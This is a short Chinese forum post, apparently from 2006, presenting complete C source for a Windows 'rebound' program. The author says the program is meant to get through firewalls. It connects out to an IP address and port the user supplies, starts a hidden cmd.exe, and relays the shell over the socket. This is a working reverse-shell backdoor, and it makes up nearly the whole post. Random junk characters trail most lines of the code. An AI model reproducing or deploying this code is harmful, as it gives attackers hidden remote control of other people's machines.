这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;][1_
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/* ============================== }(TZ}* d
Rebound port in Windows NT o&LNtl;
By wind,2006/7 v=SC*
===============================*/ wTIOCj
#include Fz)z&WT
#include t_@%4Wn!1L
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#pragma comment(lib,"wsock32.lib") c+|,2e
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void OutputShell(); zc,fJM
SOCKET sClient; R0\E?9P
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; U#,2et6
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void main(int argc,char **argv) t]"3vE>
{ )Cyrs~
WSADATA stWsaData; }QG6KJh_%
int nRet; U4zyhj
SOCKADDR_IN stSaiClient,stSaiServer; T92k"fBY
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if(argc != 3) ga~rllm;i
{ 0V`0=" rQ
printf("Useage:\n\rRebound DestIP DestPort\n"); qz(0iZ] Y
return; Ge[N5N>
} (h|l$OL/
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WSAStartup(MAKEWORD(2,2),&stWsaData); gnB%/g[_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `Nu3s<O7CF
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stSaiClient.sin_family = AF_INET; \nPa>2r
stSaiClient.sin_port = htons(0); 1c+[S]7rY
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -Vt*(L
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T3)/?f?|
{ ^^)D!I"cA,
printf("Bind Socket Failed!\n"); g;eMsoJG
return; 1|n,s-
} SukRJvi
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stSaiServer.sin_family = AF_INET; #th^\pV
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $0sUh]7y
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8TC%]SvYim
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0D:J d6\
{ 86@"BNnTh
printf("Connect Error!"); )aOg_*~
return; O\B_=KWDO
} ;wgm
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OutputShell(); "DfvoQ P
} `gD'q5.z;3
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void OutputShell() ,S}[48$
{ x(5>f9b b
char szBuff[1024]; do7 [Nj
SECURITY_ATTRIBUTES stSecurityAttributes; &D>e>]E|P
OSVERSIONINFO stOsversionInfo; |zGwt Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 70a7}C\/o
STARTUPINFO stStartupInfo;
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char *szShell; 7oh6G
PROCESS_INFORMATION stProcessInformation; ]6W#P7
unsigned long lBytesRead; B.;/N220P
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); KE&Y~y8O\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mn?<
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stSecurityAttributes.lpSecurityDescriptor = 0; M8:gHjwsx
stSecurityAttributes.bInheritHandle = TRUE; 5A Vo#}&\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); VLA9&.*@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); * pyi;
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DU4NPys]y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,57g_z]V
stStartupInfo.wShowWindow = SW_HIDE; D#1'#di*t
stStartupInfo.hStdInput = hReadPipe; <<@$0RW
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8@|+-)t
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GetVersionEx(&stOsversionInfo); g(>;Z@Y
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switch(stOsversionInfo.dwPlatformId) /
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{ ;Pnz4Y4|eU
case 1: \NDSpT<Z
szShell = "command.com"; k6QQoLb$V
break; T`Sp!
default: RN]4 Is:
szShell = "cmd.exe"; tb/bEy^
break; 8AOJ'~$
} 8sx\b
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (SfP3
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send(sClient,szMsg,77,0); wtndXhVC4>
while(1) 8h78Zb&[
{ ^EN_C<V;"d
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #|
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if(lBytesRead) q<>LK
{ 6K5KZZG
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1%G<gbHpI
send(sClient,szBuff,lBytesRead,0); /KO!s,Nk
} s{2BG9s
else L L7a20
{ l&dHH_m3
lBytesRead=recv(sClient,szBuff,1024,0); yrs![ u
if(lBytesRead<=0) break; :\NqGS=<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (?72 vCc
} M6jP>fbV*
} 2(YZTaY
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return; xiX~*Zs
}